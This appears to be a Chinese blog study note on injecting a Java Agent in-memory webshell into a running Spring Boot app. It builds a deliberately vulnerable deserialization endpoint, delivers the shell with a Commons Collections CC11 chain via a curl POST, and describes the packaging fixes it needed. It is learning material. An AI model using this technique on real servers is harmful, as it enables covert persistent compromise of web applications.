Agent MemShell
0x01 Preface
利用Java Agent可以动态修改类的字节码,由于实际环境中都是启动着的JVM,所以premain并不适用,而是利用agentmain来注入内存马。
接下来就得思考要修改哪个类的字节码了,对于这个类应该有如下要求:
类中的方法一定会被执行
改动后不影响正常业务
前面Filter内存马的Filter组件就挺不错
每次请求到达Servlet前都会经过FilterChain来对请求进行过滤,ApplicationFilterChain#doFilter一定会被调用
0x02 Env Build
SpringBoot搭建一个Commons Collections反序列化漏洞环境,再通过CC11把内存马打进去
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>package com.example.agent.controllers;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@RestController
public class Vul {
@PostMapping("/cc11")
public String cc11(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "Hello,World";
}
@GetMapping("/hello")
public String hello(){
return "hello agent";
}
}创建Agent:
mvn clean package
Evil.class 为用于注入jar的字节码
发现一个问题:loadAgent只能寻找本地的Agent jar包吗?
如果是,那么打Agent内存马还得先上传jar
如果不是,能否加载远程的jar包
试了一下,好像真不能加载远程jar。。。。
Error opening zip file or JAR manifest missing: http://127.0.0.1:9999/MyAgent.jar
CC11 序列化数据生成:
curl -v "http://192.168.0.106:8080/cc11" --data-binary "@./ser.bin"

控制台打印这些说明注入成功!

0x03 Trap
刚开始发现内存马没打进去,通过sout大法发现问题出现在ClassPool pool = ClassPool.getDefault(); ,根据之前的经验感觉可能是jar包里没依赖。
SpringBoot项目添加javassist依赖,发现内存马注入成功
原来用Maven的package没有把第三方依赖打进jar包,加入下面的插件就可以带上依赖
打包后有两个jar包,一个带jar-with-dependencies标签。
但又有新问题了
com.sun.tools.attach.AgentLoadException: Agent JAR not found or no Agent-Class attribute
去看一眼META-INF/MENIFEST.MF,果然里面没有Agent-Class字段
仿照上一个插件,<configuration>下添加<archive>元素,指定manifestEntries
0x04 Summary
前面三种内存马(Listener、Filter、Servlet)是传统的Web应用型内存马,基于原生Servlet API实现的动态注册内存马。
而Agent内存马是通过Hook并修改关键方法添加恶意逻辑,需要落地Jar,再通过Attach API动态注入Agent到JVM中。
后面可能还要学习一下中间件型内存马Valve、Upgrade、Executor,探索Tomcat的设计模式,以及框架型内存马Spring Controller、Spring Interceptor,体会Spring MVC对Servlet API的封装。
Last updated
Was this helpful?